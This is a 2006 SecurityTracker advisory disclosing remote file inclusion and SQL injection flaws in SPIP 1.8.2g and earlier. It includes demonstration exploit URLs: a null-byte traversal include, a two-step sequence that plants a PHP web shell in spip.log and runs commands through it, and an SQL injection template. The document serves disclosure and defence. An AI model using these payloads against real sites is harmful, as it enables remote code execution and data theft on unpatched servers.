SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   SPIP Vendors:   spip.net
SPIP Include File Bug in 'spip_rss.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015602
SecurityTracker URL:  http://securitytracker.com/id/1015602
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 9 2006
Impact:   Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.8.2g and prior
Description:   rgod reported a vulnerability in SPIP. A remote user can include and execute files on the target system. A remote user can also inject SQL commands.

The 'spip_rss.php' does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is proivded:

http://[target]/[path]/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00

A remote user can cause arbitrary PHP code to be written to a file on the system, such as the 'spip.log' file. Then, the file can be included and executed using the vulnerability described above.

A demonstration exploit URL sequence is provided:

http://[target]/[path]/spip_acces_doc.php3?id_document=0&file='&<?system($_GET[cmd]);?>
http://[target]/[path]/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00

The 'spip_acces_doc.php3' script does not properly validate user-supplied input in the 'file' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

A demonstration exploit URL is proivded:

http://[target]/[path]/spip_acces_doc.php3?id_document=0&file=[SQL]

The original advisory is available at:

http://retrogod.altervista.org/spip_182g_shell_inj_xpl.html

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

A remote user can execute SQL commands on the underlying database.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.spip.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  SPIP <= 1.8.2g remote commands execution

http://retrogod.altervista.org/spip_182g_shell_inj_xpl.html

rgod
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC